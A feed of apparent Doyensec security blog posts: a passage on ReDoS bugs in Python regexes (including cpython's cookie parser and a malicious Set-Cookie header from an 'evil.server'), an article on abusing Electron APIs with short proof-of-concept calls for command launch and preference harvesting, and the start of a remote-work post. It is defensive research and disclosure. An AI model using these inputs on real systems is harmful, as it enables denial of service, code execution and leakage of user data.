Starriness: 3 ⭐⭐⭐ (cubic)
Repeated character: [20,09,0a,0d]
Example: 'rgba(' + ' ' * 3456
</code></pre></div></div>
<p>The developer wants to find strings like <code class="language-plaintext highlighter-rouge">rgba( 100,200, 10, 0.5 )</code> and extract the middle part without surrounding spaces. Unfortunately, the <code class="language-plaintext highlighter-rouge">.+</code> in the middle <em>also</em> accepts spaces.
If the string does not end with a closing parenthesis, the regex will not match, and we can get <em>O(n<sup>3</sup>)</em> backtracking.</p>
<p>Let’s take a look at the matching process with the input <code class="language-plaintext highlighter-rouge">"rgba(" + " " * 19</code>:</p>
<iframe style="overflow: hidden; margin: 0px; border: 0px; display: inline-block; width: 270px; float: none; visibility: visible; height: 700px;" srcdoc="<body style="margin:-20px 0;overflow:hidden;"><script id="asciicast-J6jCMFt9JwNnj7wF0uz3e7Rtm" src="https://asciinema.org/a/J6jCMFt9JwNnj7wF0uz3e7Rtm.js" async data-cols="25" data-preload="0" data-speed="0.5"></script></body>" sandbox="allow-scripts allow-same-origin"></iframe>
<p>What a load of wasted CPU cycles!</p>
<p>A fun ReDoS bug was discovered in <a href="https://github.com/python/cpython/pull/17157">cpython’s http.cookiejar</a> with this gorgeous regex:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Pattern: ^
(\d\d?) # day
(?:\s+|[-\/])
(\w+) # month
(?:\s+|[-\/])
(\d+) # year
(?:
(?:\s+|:) # separator before clock
(\d\d?):(\d\d) # hour:min
(?::(\d\d))? # optional seconds
)? # optional clock
\s*
([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone
\s*
(?:\(\w+\))? # ASCII representation of timezone in parens.
\s*$
Context: LOOSE_HTTP_DATE_RE = re.compile(
---
Starriness: 3 ⭐⭐⭐
Repeated character: [SPACE]
Final character to cause backtracking: [^SPACE]
Example: '0 a 0' + ' ' * 3456 + '0'
</code></pre></div></div>
<p>It was used when processing cookie expiry dates like <code class="language-plaintext highlighter-rouge">Fri, 08 Jan 2021 23:20:00 GMT</code>, but with compatibility for some deprecated date formats.
The last 5 lines of the regex pattern contain three <code class="language-plaintext highlighter-rouge">\s*</code> groups separated by <em>optional</em> groups, so we have a cubic ReDoS.</p>
<p>A victim simply making an HTTP request like <code class="language-plaintext highlighter-rouge">requests.get('http://evil.server')</code> could be attacked by a remote server responding with <code class="language-plaintext highlighter-rouge">Set-Cookie</code> headers of the form:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Set-Cookie: b;Expires=1-c-1 X
</code></pre></div></div>
<p>With the maximum 65506 spaces that can be crammed into an HTTP header line in Python, the client will take over a week to finish processing the header.</p>
<iframe style="overflow: hidden; margin: 0px; border: 0px; display: inline-block; width: 270px; float: none; visibility: visible; height: 525px;" srcdoc="<body style="margin:-20px 0;overflow:hidden;"><script id="asciicast-QhPv8DTkWxJuZbIxZVYn6Q39q" src="https://asciinema.org/a/QhPv8DTkWxJuZbIxZVYn6Q39q.js" async data-speed="0.5" data-preload="0" data-cols="23"></script></body>" sandbox="allow-scripts allow-same-origin"></iframe>
<p>Again, the issue was designing the regex to handle whitespace between optional sections.</p>
<p>Another point to notice is that, based on the git history, the troublesome regexes we discovered had mostly remained untouched since they first entered the codebase.
While it shows that the regexes seem to cause no issues in normal conditions, it perhaps indicates that regexes are too illegible to maintain.
If the regex above had no comments to explain what it was supposed to match, who would dare try to alter it? Probably only the guy from xkcd.</p>
<p><a href="https://xkcd.com/208/"><img src="https://imgs.xkcd.com/comics/regular_expressions.png" alt="xkcd 208: Regular Expressions" /></a>
<em>Sorry, I wanted to shoehorn this comic in somewhere</em></p>
<h2 id="mitigations---safety-first">Mitigations - Safety first</h2>
<h3 id="use-a-dfa">Use a DFA</h3>
<p>So why didn’t I bother looking for ReDoS in Golang? Go’s regex engine <a href="https://opensource.googleblog.com/2010/03/re2-principled-approach-to-regular.html">re2</a> <em>does not backtrack</em>.</p>
<p>Its design (<a href="https://swtch.com/~rsc/regexp/regexp1.html">Deterministic Finite Automaton</a>) was chosen to be safe even if the regular expression itself is untrusted. The guarantee is that regex matching will occur in linear time regardless of input.
There was a trade-off though.
Depending on your use-case, libraries like re2 may not be the fastest engines.
There are also some regex features such as backreferences which had to be dropped.
But in the pathological case, regexes won’t be what takes down your website.
There are re2 libraries for many languages, so you can use it in preference to Python’s <code class="language-plaintext highlighter-rouge">re</code> module.</p>
<h3 id="dont-do-it-all-with-regexes">Don’t do it all with regexes</h3>
<p>For the whitespace ambiguity issue, it’s often possible to first use a simple regex and then trim / strip the spaces from either side of the result.</p>
<p><img src="/public/images/drake-hotline-redos-meme.jpg" alt="How to meme?" /></p>
<h3 id="many-tiny-regexes">Many tiny regexes</h3>
<p>In Ruby, the standard library contains <a href="https://ruby-doc.org/stdlib-2.7.0/libdoc/strscan/rdoc/StringScanner.html">StringScanner</a> which helps with “lexical scanning operations”.
While the <code class="language-plaintext highlighter-rouge">http-cookie</code> gem has <a href="https://github.com/sparklemotion/http-cookie/blob/9eb68dcce55b2d80e5dab101bb56c4ac9164211c/lib/http/cookie/scanner.rb">many more lines of code</a> than a mega-regex, it avoids REDoS when parsing <code class="language-plaintext highlighter-rouge">Set-Cookie</code> headers. Once each part of the string has been matched, it refuses to backtrack.
In some regular expression flavours, you can use “possessive quantifiers” to mark sections as non-backtrackable and achieve a similar effect.</p>
<h2 id="gotta-catch-em-all-">Gotta catch ‘em all 🐛🐞🦠</h2>
<ul>
<li><a href="https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p">CVE-2020-5243: uap-core</a> affecting uap-python, <a href="https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw">uap-ruby</a>, etc. (User-Agent header parsing)</li>
<li><a href="https://github.com/python/cpython/commit/0b297d4ff1c0e4480ad33acae793fbaf4bf015b4">CVE-2020-8492: cpython’s urllib.request</a> (WWW-Authenticate header parsing)</li>
<li><a href="https://github.com/advisories/GHSA-hq37-853p-g5cf">CVE-2021-21236: CairoSVG</a> (SVG parsing)</li>
<li><a href="https://github.com/httplib2/httplib2/security/advisories/GHSA-93xj-8mrv-444m">CVE-2021-21240: httplib2</a> (WWW-Authenticate header parsing)</li>
<li><a href="https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c">CVE-2021-25292: python-pillow</a> (PDF parsing)</li>
<li><a href="https://github.com/trentm/python-markdown2/pull/387">CVE-2021-26813: python-markdown2</a> (Markdown parsing)</li>
<li><a href="https://doyensec.com/resources/Doyensec_Advisory_ssri_redos.pdf">CVE-2021-27290: npm/ssri</a> (SRI parsing)</li>
<li><a href="https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14">CVE-2021-27291: pygments</a> lexers for ADL, CADL, Ceylon, Evoque, Factor, Logos, Matlab, Octave, ODIN, Scilab & Varnish VCL (Syntax highlighting)</li>
<li><a href="https://github.com/faisalman/ua-parser-js/commit/809439e20e273ce0d25c1d04e111dcf6011eb566">CVE-2021-27292: ua-parser-js</a> (User-Agent header parsing)</li>
<li><a href="https://github.com/restsharp/RestSharp/issues/1556">CVE-2021-27293: RestSharp</a> (JSON deserialisation in a .NET C# package)</li>
<li><a href="https://github.com/python/cpython/pull/17157">bpo-38804: cpython’s http.cookiejar</a> (Set-Cookie header parsing)</li>
<li><a href="https://doyensec.com/resources/Doyensec_Advisory_simplecrawler_redos.pdf">SimpleCrawler (archived)</a> (HTML parsing)</li>
<li>CVE-2021-28092: to be released</li>
<li>Plus many more unpublished bugs in a handful of pypi, npm, ruby and nuget packages. We will update this list on <a href="https://github.com/doyensec/regexploit">https://github.com/doyensec/regexploit</a></li>
</ul>
Electron APIs Misuse: An Attacker’s First Choice2021-02-16T00:00:00+01:00https://blog.doyensec.com/2021/02/16/electron-apis-misuse<p><a href="https://www.electronjs.org/">ElectronJs</a> is getting more secure every day. <a href="https://www.electronjs.org/docs/tutorial/context-isolation">Context isolation</a> and other security settings are planned to become enabled by default with the upcoming release of Electron 12 stable, seemingly ending the somewhat deserved reputation of a systemically insecure framework.</p>
<p>Seeing such significant and tangible progress makes us proud. Over the past years we’ve committed to helping developers securing their applications by researching different attack surfaces:</p>
<ul>
<li><a href="https://blog.doyensec.com/2017/08/03/electron-framework-security.html">Modern Alchemy: Turning XSS into RCE</a></li>
<li><a href="https://blog.doyensec.com/2018/05/24/electron-win-protocol-handler-bug-bypass.html">Electron Windows Protocol Handler MITM/RCE (bypass for CVE-2018-1000006 fix)</a></li>
<li><a href="https://blog.doyensec.com/2019/04/03/subverting-electron-apps-via-insecure-preload.html">Subverting Electron Apps via Insecure Preload</a></li>
<li><a href="https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html">Signature Validation Bypass Leading to RCE In Electron-Updater</a></li>
</ul>
<p>As confirmed by the Electron development team in the <a href="https://www.electronjs.org/blog/electron-11-0#whats-next">v11 stable release</a>, they plan to release new major versions of Electron (including new versions of <em>Chromium</em>, <em>Node</em>, and <em>V8</em>), approximately quarterly. Such an ambitious versioning schedule will also increase the number and the frequency of newly introduced APIs, planned breaking changes, and consequent security nuances in upcoming versions. While new functionalities are certainly desirable, new framework’s APIs may also expose powerful interfaces to OS features, which may be more or less inadvertently enabled by developers falling for the syntactic sugar provided by Electron.</p>
<div style="text-align: center;">
<img src="../../../public/images/electronhardened.png" title="Electron Hardened" alt="Electron Hardened" align="center" style="display: block; margin-left: auto; margin-right: auto; width: 370px;" />
</div>
<p>Such interfaces may be exposed to the renderer’s, either through preloads or insecure configurations, and can be abused by an attacker beyond their original purpose. An infamous example of this is <code class="language-plaintext highlighter-rouge">openExternal</code>.</p>
<p><a href="https://www.electronjs.org/docs/api/shell#shell">Shell</a>’s <code class="language-plaintext highlighter-rouge">openExternal()</code> allows opening a given external protocol URI with the desktop’s native utilities. For instance, on macOS, this function is similar to the <em>open</em> terminal command utility and will open the specific application based on the URI and filetype association. When openExternal is used with untrusted content, it can be leveraged to execute arbitrary commands, as demonstrated by the following example:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">{</span><span class="nx">shell</span><span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">shell</span><span class="p">.</span><span class="nx">openExternal</span><span class="p">(</span><span class="dl">'</span><span class="s1">file:///System/Applications/Calculator.app</span><span class="dl">'</span><span class="p">)</span>
</code></pre></div></div>
<p>Similarly, <code class="language-plaintext highlighter-rouge">shell.openPath(path)</code> can be used to open the given file in the desktop’s default manner.</p>
<p>From an attacker’s perspective, Electron-specific APIs are very often the easiest path to gain remote code execution, read or write access to the host’s filesystem, or leak sensitive user’s data. Malicious JavaScript running in the renderer can often subvert the application using such primitives.</p>
<p>With this in mind, we gathered a <em>non-comprehensive</em> list of APIs we successfully abused during our past engagements. When exposed to the user in the renderer, these APIs can significantly affect the security posture of Electron-based applications and facilitate <a href="https://www.electronjs.org/docs/tutorial/security#2-do-not-enable-nodejs-integration-for-remote-content">nodeIntegration</a> / <a href="https://www.electronjs.org/docs/api/sandbox-option">sandbox</a> bypasses.</p>
<hr />
<h2 id="remoteapp">Remote.app</h2>
<p>The <a href="https://www.electronjs.org/docs/all#remote">remote</a> module provides a way for the renderer processes to access APIs normally only available in the main process. In Electron, GUI-related modules (such as dialog, menu, etc.) are only available in the main process, not in the renderer process. In order to use them from the renderer process, the <code class="language-plaintext highlighter-rouge">remote</code> module is necessary to send inter-process messages to the main process.</p>
<p>While this seems pretty useful, this API has been a source of <a href="https://medium.com/@nornagon/electrons-remote-module-considered-harmful-70d69500f31">performance and security troubles for quite a while</a>. As a result of that, the <code class="language-plaintext highlighter-rouge">remote</code> module will be deprecated in Electron 12, and eventually removed in Electron 14.</p>
<p>Despite the warnings and numerous articles on the topic, we have seen a few applications exposing <code class="language-plaintext highlighter-rouge">Remote.app</code> to the renderer. The <code class="language-plaintext highlighter-rouge">app</code> object controls the full application’s event lifecycle and it is basically the heart of every Electron-based application.</p>
<p>Many of the functions exposed by this object can be easily abused, including but not limited to:</p>
<ul>
<li><a href="https://www.electronjs.org/docs/api/app#apprelaunchoptions"><code class="language-plaintext highlighter-rouge">app.relaunch([options])</code></a> Relaunches the app when current instance exits.</li>
<li><a href="https://www.electronjs.org/docs/api/app#appsetapplogspathpath"><code class="language-plaintext highlighter-rouge">app.setAppLogsPath([path])</code></a> Sets or creates a directory your app’s logs which can then be manipulated with <code class="language-plaintext highlighter-rouge">app.getPath()</code> or <code class="language-plaintext highlighter-rouge">app.setPath(pathName, newPath)</code>.</li>
<li><a href="https://www.electronjs.org/docs/api/app#appsetasdefaultprotocolclientprotocol-path-args"><code class="language-plaintext highlighter-rouge">app.setAsDefaultProtocolClient(protocol[, path, args])</code></a> Sets the current executable as the default handler for a specified protocol.</li>
<li><a href="https://www.electronjs.org/docs/api/app#appsetusertaskstasks-windows"><code class="language-plaintext highlighter-rouge">app.setUserTasks(tasks)</code></a> Adds tasks to the Tasks category of the Jump List (Windows only).</li>
<li><a href="https://www.electronjs.org/docs/api/app#appimportcertificateoptions-callback-linux"><code class="language-plaintext highlighter-rouge">app.importCertificate(options, callback)</code></a> Imports the certificate in pkcs12 format into the platform certificate store (Linux only).</li>
<li><a href="https://www.electronjs.org/docs/api/app#appmovetoapplicationsfolderoptions-macos"><code class="language-plaintext highlighter-rouge">app.moveToApplicationsFolder([options])</code></a> Move the application to the default Application folder (Mac only).</li>
<li><a href="https://www.electronjs.org/docs/api/app#appsetjumplistcategories-windows"><code class="language-plaintext highlighter-rouge">app.setJumpList(categories)</code></a> Sets or removes a custom Jump List for the application (Windows only).</li>
<li><a href="https://www.electronjs.org/docs/api/app#appsetloginitemsettingssettings-macos-windows"><code class="language-plaintext highlighter-rouge">app.setLoginItemSettings(settings)</code></a> Sets executables to launch at login with their options (Mac, Windows only).</li>
</ul>
<p>Taking the first function as a way of example, <code class="language-plaintext highlighter-rouge">app.relaunch([options])</code> can be used to relaunch the app when the current instance exits. Using this primitive, it is possible to specify a set of options, including a <code class="language-plaintext highlighter-rouge">execPath</code> property that will be executed for relaunch instead of the current app along with a custom <code class="language-plaintext highlighter-rouge">args</code> array that will be passed as command-line arguments. This functionality can be easily leveraged by an attacker to execute arbitrary commands.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Native</span><span class="p">.</span><span class="nx">app</span><span class="p">.</span><span class="nx">relaunch</span><span class="p">({</span><span class="na">args</span><span class="p">:</span> <span class="p">[],</span> <span class="na">execPath</span><span class="p">:</span> <span class="dl">"</span><span class="s2">/System/Applications/Calculator.app/Contents/MacOS/Calculator</span><span class="dl">"</span><span class="p">});</span>
<span class="nx">Native</span><span class="p">.</span><span class="nx">app</span><span class="p">.</span><span class="nx">exit</span><span class="p">()</span>
</code></pre></div></div>
<p>Note that the relaunch method alone does not quit the app when executed, and it is also necessary to call <code class="language-plaintext highlighter-rouge">app.quit()</code> or <code class="language-plaintext highlighter-rouge">app.exit()</code> after calling the method to make the app restart.</p>
<h2 id="systempreferences">systemPreferences</h2>
<p>Another frequently exported module is <a href="https://www.electronjs.org/docs/api/system-preferences">systemPreferences</a>. This API is used to get the system preferences and emit system events, and can therefore be abused to leak multiple pieces of information on the user’s behavior and their operating system activity and usage patterns. The metadata subtracted through the module could be then abused to mount targeted attacks.</p>
<h4 id="subscribenotification-subscribeworkspacenotification">subscribeNotification, subscribeWorkspaceNotification</h4>
<p>These <a href="https://www.electronjs.org/docs/api/system-preferences#systempreferencessubscribenotificationevent-callback-macos">methods</a> could be used to subscribe to native notifications of macOS. Under the hood, this API subscribes to <code class="language-plaintext highlighter-rouge">NSDistributedNotificationCenter</code>. <a href="https://mjtsai.com/blog/2019/10/04/nsdistributednotificationcenter-no-longer-supports-nil-names/">Before macOS Catalina</a>, it was possible to register a global listener and receive all distributed notifications by invoking the <code class="language-plaintext highlighter-rouge">CFNotificationCenterAddObserver</code> function with <code class="language-plaintext highlighter-rouge">nil</code> for the <code class="language-plaintext highlighter-rouge">name</code> parameter (corresponding to the event parameter of <code class="language-plaintext highlighter-rouge">subscribeNotification</code>). The callback specified would be invoked anytime a distributed notification is broadcasted by any app. Following the release of macOS Catalina or Big Sur, in the case of sandboxed applications it is still possible to globally sniff distributed notifications by <a href="https://objective-see.com/blog/blog_0x39.html">registering</a> to receive any notification by name. As a result, many sensitive events can be sniffed, including but not limited to:</p>
<ul>
<li>Screen locks/unlocks</li>
<li>Screen saver start/stop</li>
<li>Bluetooth activity/HID Devices</li>
<li>Volume (USB, etc) mount/unmount</li>
<li>Network activity</li>
<li>User file downloads</li>
<li>Newly Installed Applications</li>
<li>Opened Source Code Files</li>
<li>Applications in Use</li>
<li>Loaded Kernel Extensions</li>
<li>…and more from the installed application including sensitive information in them. Distributed notifications will always be public by design, and it was never correct to put sensitive information in them.</li>
</ul>
<p>The latest <code class="language-plaintext highlighter-rouge">NSDistributedNotificationCenter</code> API also seems to be having <a href="https://twitter.com/mjtsai/status/1336354549355999239">intermittent problems</a> with Big Sur and sandboxed application, so we expected to see more breaking changes in the future.</p>
<h4 id="getuserdefault-setuserdefault">getUserDefault, setUserDefault</h4>
<p>The <code class="language-plaintext highlighter-rouge">getUserDefault</code> function returns the value of key in <code class="language-plaintext highlighter-rouge">NSUserDefaults</code>, a macOS simple storage class that provides a programmatic interface for interacting with the defaults system. This <code class="language-plaintext highlighter-rouge">systemPreferences</code> method can be abused to return the Application’s or Global’s Preferences. An attacker may abuse the API to retrieve sensitive information including the user’s location and filesystem resources. As a matter of demonstration, <code class="language-plaintext highlighter-rouge">getUserDefault</code> can be used to obtain personal details of the targeted application user:</p>
<ul>
<li>User’s most recent locations on the file system
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">Native</span><span class="p">.</span><span class="nx">systemPreferences</span><span class="p">.</span><span class="nx">getUserDefault</span><span class="p">(</span><span class="dl">"</span><span class="s2">NSNavRecentPlaces</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">array</span><span class="dl">"</span><span class="p">)</span>
<span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="p">[</span><span class="dl">"</span><span class="s2">/tmp/secretfile</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">/tmp/SecretResearch</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">~/Desktop/Cellar/NSA_files</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">/tmp/blog.doyensec.com/_posts</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">~/Desktop/Invoices</span><span class="dl">"</span><span class="p">]</span>
</code></pre></div> </div>
</li>
<li>User’s selected geographic location
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Native</span><span class="p">.</span><span class="nx">systemPreferences</span><span class="p">.</span><span class="nx">getUserDefault</span><span class="p">(</span><span class="dl">"</span><span class="s2">com.apple.TimeZonePref.Last_Selected_City</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">array</span><span class="dl">"</span><span class="p">)</span>
<span class="p">(</span><span class="mi">10</span><span class="p">)</span> <span class="p">[</span><span class="dl">"</span><span class="s2">48.40311</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">11.74905</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">0</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Europe/Berlin</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">DE</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Freising</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Germany</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Freising</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Germany</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">DEPRECATED IN 10.6</span><span class="dl">"</span><span class="p">]</span>
</code></pre></div> </div>
</li>
</ul>
<p>Complementarily, the <code class="language-plaintext highlighter-rouge">setUserDefault</code> method can be weaponized to set User’s Default for the Application Preferences related to the target application. Before Electron v8.3.0 <a href="https://github.com/electron/electron/issues/17031">[1]</a>, <a href="https://github.com/electron/electron/pull/23412/commits/4ae4537255349440ea8d69a604eb7d0c1b67ea24">[2]</a> these methods can only get or set <code class="language-plaintext highlighter-rouge">NSUserDefaults</code> keys in the <a href="https://developer.apple.com/documentation/foundation/nsuserdefaults/1416603-standarduserdefaults?language=objc">standard suite</a>.</p>
<h2 id="shellshowiteminfolder">Shell.showItemInFolder</h2>
<p>A subtle example of a potentially dangerous native Electron primitive is <code class="language-plaintext highlighter-rouge">shell.showItemInFolder</code>. As the name suggests, this API shows the given file in a file manager.</p>
<div style="text-align: center;">
<img src="../../../public/images/showItemInFolder.png" title="shell.showItemInFolder" alt="shell.showItemInFolder" align="center" style="display: block; margin-left: auto; margin-right: auto; width: 800px;" />
</div>
<p>Such seemingly innocuous functionality hides some peculiarities that could be dangerous from a security perspective.</p>
<p>On Linux (<a href="https://github.com/electron/electron/blob/602913cb4c98d102548e082c97401415849fe082/shell/common/platform_util_linux.cc#L80-L86"><code class="language-plaintext highlighter-rouge">/shell/common/platform_util_linux.cc</code></a>), Electron extracts the parent directory name, checks if the resulting path is actually a directory and then uses XDGOpen (<code class="language-plaintext highlighter-rouge">xdg-open</code>) to show the file in its location:</p>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">ShowItemInFolder</span><span class="p">(</span><span class="k">const</span> <span class="n">base</span><span class="o">::</span><span class="n">FilePath</span><span class="o">&</span> <span class="n">full_path</span><span class="p">)</span> <span class="p">{</span>
<span class="n">base</span><span class="o">::</span><span class="n">FilePath</span> <span class="n">dir</span> <span class="o">=</span> <span class="n">full_path</span><span class="p">.</span><span class="n">DirName</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">base</span><span class="o">::</span><span class="n">DirectoryExists</span><span class="p">(</span><span class="n">dir</span><span class="p">))</span>
<span class="k">return</span><span class="p">;</span>
<span class="n">XDGOpen</span><span class="p">(</span><span class="n">dir</span><span class="p">.</span><span class="n">value</span><span class="p">(),</span> <span class="nb">false</span><span class="p">,</span> <span class="n">platform_util</span><span class="o">::</span><span class="n">OpenCallback</span><span class="p">());</span>
<span class="p">}</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">xdg-open</code> can be leveraged for executing applications on the victim’s computer.</p>
<blockquote>
<p>“If a file is provided the file will be opened in the preferred application for files of that type” (https://linux.die.net/man/1/xdg-open)</p>
</blockquote>
<p>Because of the inherited time of check time of use (TOCTOU) condition caused by the time difference between the directory existence check and its launch with <code class="language-plaintext highlighter-rouge">xdg-open</code>, an attacker could run an executable of choice by replacing the folder path with an arbitrary file, winning the race introduced by the check. While this issue is rather tricky to be exploited in the context of an insecure Electron’s renderer, it is certainly a potential step in a more complex vulnerabilities chain.</p>
<p>On Windows (<a href="https://github.com/electron/electron/blob/602913cb4c98d102548e082c97401415849fe082/shell/common/platform_util_win.cc#L254-L300"><code class="language-plaintext highlighter-rouge">/shell/common/platform_util_win.cc</code></a>), the situation is even more tricky:</p>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">ShowItemInFolderOnWorkerThread</span><span class="p">(</span><span class="k">const</span> <span class="n">base</span><span class="o">::</span><span class="n">FilePath</span><span class="o">&</span> <span class="n">full_path</span><span class="p">)</span> <span class="p">{</span>
<span class="p">...</span>
<span class="n">base</span><span class="o">::</span><span class="n">win</span><span class="o">::</span><span class="n">ScopedCoMem</span><span class="o"><</span><span class="n">ITEMIDLIST</span><span class="o">></span> <span class="n">dir_item</span><span class="p">;</span>
<span class="n">hr</span> <span class="o">=</span> <span class="n">desktop</span><span class="o">-></span><span class="n">ParseDisplayName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span>
<span class="k">const_cast</span><span class="o"><</span><span class="kt">wchar_t</span><span class="o">*></span><span class="p">(</span><span class="n">dir</span><span class="p">.</span><span class="n">value</span><span class="p">().</span><span class="n">c_str</span><span class="p">()),</span>
<span class="nb">NULL</span><span class="p">,</span> <span class="o">&</span><span class="n">dir_item</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="k">const</span> <span class="n">ITEMIDLIST</span><span class="o">*</span> <span class="n">highlight</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="n">file_item</span><span class="p">};</span>
<span class="n">hr</span> <span class="o">=</span> <span class="n">SHOpenFolderAndSelectItems</span><span class="p">(</span><span class="n">dir_item</span><span class="p">,</span> <span class="n">base</span><span class="o">::</span><span class="n">size</span><span class="p">(</span><span class="n">highlight</span><span class="p">),</span> <span class="n">highlight</span><span class="p">,</span>
<span class="nb">NULL</span><span class="p">);</span>
<span class="p">...</span>
<span class="k">if</span> <span class="p">(</span><span class="n">FAILED</span><span class="p">(</span><span class="n">hr</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">hr</span> <span class="o">==</span> <span class="n">ERROR_FILE_NOT_FOUND</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ShellExecute</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">L"open"</span><span class="p">,</span> <span class="n">dir</span><span class="p">.</span><span class="n">value</span><span class="p">().</span><span class="n">c_str</span><span class="p">(),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">SW_SHOW</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">LOG</span><span class="p">(</span><span class="n">WARNING</span><span class="p">)</span> <span class="o"><<</span> <span class="s">" "</span> <span class="o"><<</span> <span class="n">__func__</span> <span class="o"><<</span> <span class="s">"(): Can't open full_path = </span><span class="se">\"</span><span class="s">"</span>
<span class="o"><<</span> <span class="n">full_path</span><span class="p">.</span><span class="n">value</span><span class="p">()</span> <span class="o"><<</span> <span class="s">"</span><span class="se">\"</span><span class="s">"</span>
<span class="o"><<</span> <span class="s">" hr = "</span> <span class="o"><<</span> <span class="n">logging</span><span class="o">::</span><span class="n">SystemErrorCodeToString</span><span class="p">(</span><span class="n">hr</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Under normal circustances, the <a href="https://docs.microsoft.com/en-us/windows/win32/api/shlobj_core/nf-shlobj_core-shopenfolderandselectitems"><code class="language-plaintext highlighter-rouge">SHOpenFolderAndSelectItems</code></a> Windows API (from <em>shlobj_core.h</em>) is used. However, Electron introduced a fall-back mechanism as the call mysteriously fails with a “file not found” exception on old Windows systems. In these cases, <a href="https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-shellexecutea"><code class="language-plaintext highlighter-rouge">ShellExecute</code></a> is used as a fallback, specifying “open” as the <code class="language-plaintext highlighter-rouge">lpVerb</code> parameter. According to the <a href="https://docs.microsoft.com/en-us/windows/win32/shell/launch#object-verbs">Windows Shell documentation</a>, the “open” object verb launches the specified file or application. If this file is not an executable file, its associated application is launched.</p>
<p>While the exploitability of these quirks is up to discussions, these examples showcase how innoucous APIs might introduce OS-dependent security risks. In fact, <a href="https://chromium-review.googlesource.com/c/chromium/src/+/1905947">Chromium has refactored</a> the code in question to avoid the use of <code class="language-plaintext highlighter-rouge">xdg-open</code> altogether and leverage <code class="language-plaintext highlighter-rouge">dbus</code> instead.</p>
<hr />
<p>The Electron APIs illustrated in this blog post are <strong>just a few notable examples</strong> of potentially dangerous primitives that are available in the framework. As Electron will become more and more integrated with all supported operating systems, we expect this list to increase over time. As we often repeat, <strong>know your framework (and its limitations)</strong> and adopt defense in depth mechanisms to mitigate such deficiencies.</p>
<p>As a company, we will continue to devote our <a href="https://doyensec.com/research.html">25% research time</a> to secure the ElectronJS ecosystem and improve <a href="https://github.com/doyensec/electronegativity">Electronegativity</a>.</p>
Psychology of Remote Work2020-12-17T00:00:00+01:00https://blog.doyensec.com/2020/12/17/psychology-of-remote-work<blockquote>
<p>This is the first in a series of non-technical blog posts aiming at discussing the opportunities and challenges that arise when running a small information security consulting company. After all, day to day life at Doyensec is not only about computers and stories of breaking bits.</p>
</blockquote>
<p>The pandemic has deeply affected standard office work and forced us to immediately change our habits. In all probability, no one could have predicted that suddenly the office was going to be “moved”, and the new location is a living room. Remote work has been a hot topic for many years, however the current situation has certainly accelerated the adoption and forced companies to make a change.</p>
<p>At Doyensec, we’ve been a 100% remote company since day one. In this blog post, we’d like to present our best practices and also list some of the myths which surround the idea of remote work. This article is based on our personal experience and will hopefully help the reader to work at home more efficiently. There are no magic recipes here, just a collection of things that work for us.</p>
<h3 id="5-standard-rules-we-follow-and-7-myths-that-we-believe-are-false">5 standard rules we follow and 7 myths that we believe are false</h3>
<div style="text-align: center;">
<img src="../../../public/images/obrazek.jpg" title="obrazek" alt="obrazek" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<h3 id="five-golden-rules">Five Golden Rules</h3>
<h4 id="1-work-separated-from-the-home-zone">1. “Work” separated from the “Home” zone</h4>
